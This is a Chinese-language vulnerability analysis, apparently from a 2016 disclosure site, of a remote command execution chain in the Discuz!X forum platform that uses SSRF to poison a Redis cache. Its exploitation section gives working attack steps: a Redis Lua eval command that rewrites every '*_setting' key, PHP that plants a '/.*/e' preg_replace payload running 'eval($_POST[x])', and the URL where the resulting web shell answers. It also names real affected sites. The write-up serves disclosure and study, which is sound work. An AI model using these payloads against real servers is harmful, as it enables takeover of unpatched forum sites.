discuzx某远程命令执行漏洞分析

 discuz1111

 

0x00 简介

Discuz!X是康盛公司(Comsenz)推出的一个以社区为基础的专业建站平台,让论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用充分融合于一体,帮助网站实现一站式服务。

0x01 前言

漏洞详细已经通过乌云提交给官方。
http://www.wooyun.org/bugs/wooyun-2016-0214429
http://www.wooyun.org/bugs/wooyun-2016-0213982  

0x02 漏洞简述

discuz!X支持多种缓存方式,如:文件缓存(基本不用)、数据缓存(默认方式)、第三方缓存(memcache、redis)。通常较高访问量的系统会采用第三方缓存的方式,即使用memcache、redis等方式。而memcache、redis等通用情况下会安装到本地,即127.0.0.1,并且大多数情况下没有身份验证。结合discuz!X 自身存在的ssrf,即可能存在命令执行(本漏洞针对的是discuz!X本身,而非ssrf)。

0x03 漏洞详细

当discuz设置使用缓存后,初始化时会把缓存内容加进全局变量 $_G  
source\class\discuz\discuz_application.php

private function _init_setting() {

if($this->init_setting) {

if(empty($this->var['setting'])) {

$this->cachelist[] = 'setting';

}

 

if(empty($this->var['style'])) {

$this->cachelist[] = 'style_default';

}

if(!isset($this->var['cache']['cronnextrun'])) {

$this->cachelist[] = 'cronnextrun';

}

}

!empty($this->cachelist) && loadcache($this->cachelist);

if(!is_array($this->var['setting'])) {

$this->var['setting'] = array();

}

}
而在调用缓存的地方  
source\function\function_core.php

 

function output_replace($content) {

global $_G;

if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;

if(!empty($_G['setting']['output']['str']['search'])) {

if(empty($_G['setting']['domain']['app']['default'])) {

$_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);

}

$content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);

}

if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {

if(empty($_G['setting']['domain']['app']['default'])) {

$_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);

$_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);

}

$content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);

}

return $content;

}
可以看出  
$_G[‘setting’][‘output’][‘preg’][‘search’],$_G[‘setting’][‘output’][‘preg’][‘replace’]

这两个缓存可控,因此通过更改缓存内容就可以造成getshell。 而更改缓存内容,需要利用dz的ssrf,而dz并没有注重ssrf,如前一个 WooYun: Discuz!另一处SSRF无须登陆无须条件 ,好像也没有修复,并且还存在其它ssrf等。 现在主要是缓存前辍的问题,下面来看看如何绕过。

0x04 漏洞利用

memcache 的利用可以参考 WooYun: bilibili某分站从信息泄露到ssrf再到命令执行 ,不过前提条件是知道prefix,所以我们来说说redis。 redis 从2.6开始就支持lua命令,并且key可以模糊查找,因此,我们可以通过下面方式来重设缓存值。

eval "local t=redis.call('keys','*_setting');for i,v in ipairs(t) do redis.call('set',v,'aaaa') end;return 1;" 0

设置方式不需要知道key前辍就能更改。 因为我们只需要通过ssrf 更改$_G[‘setting’][‘output’][‘preg’][‘search’]和 $_G[‘setting’][‘output’][‘preg’][‘replace’]的值,就能达到命令执行的目的。 默认情况下,discuz的ssrf会调用curl请求,因此会支持gopher或dict协议,而这两条协议对于redis的值设置已经足够了。 通过设置(测试代码,实际中是能过ssrf对内容进行更改)

$a['output']['preg']['search']['plugins'] = "/.*/e";

$a['output']['preg']['replace']['plugins'] = 'ev/*aliyun真牛B*/al($_POST[x]);';

$setting = serialize($a);

$redis = new Redis();

$redis->connect('127.0.0.1', 6379);

$redis->set("xx_setting",$setting);

访问http://127.0.0.1/forum.php?mod=ajax&inajax=yes&action=getthreadtypes即是shell的地址。
整个过程中不需要注册用户,需要条件如下:
1、本机安装了redis(>2.6),discuz设置了本机的redis缓存
2、系统支持php-curl(默认情况下都是支持的)
达到这两个条件就可以了。

0x05 漏洞案例

bilibili某分站从信息泄露到ssrf再到命令执行
http://www.wooyun.org/bugs/wooyun-2010-0213982

金蝶某系统存在远程命令执行
http://www.wooyun.org/bugs/wooyun-2010-0214436

优酷某程序存在远程命令执行
http://www.wooyun.org/bugs/wooyun-2010-0214443

电视猫某应用远程命令执行
http://www.wooyun.org/bugs/wooyun-2010-0214464

0x06 漏洞相关阅读

vBulletin rce 0day分析(http://drops.wooyun.org/papers/8261)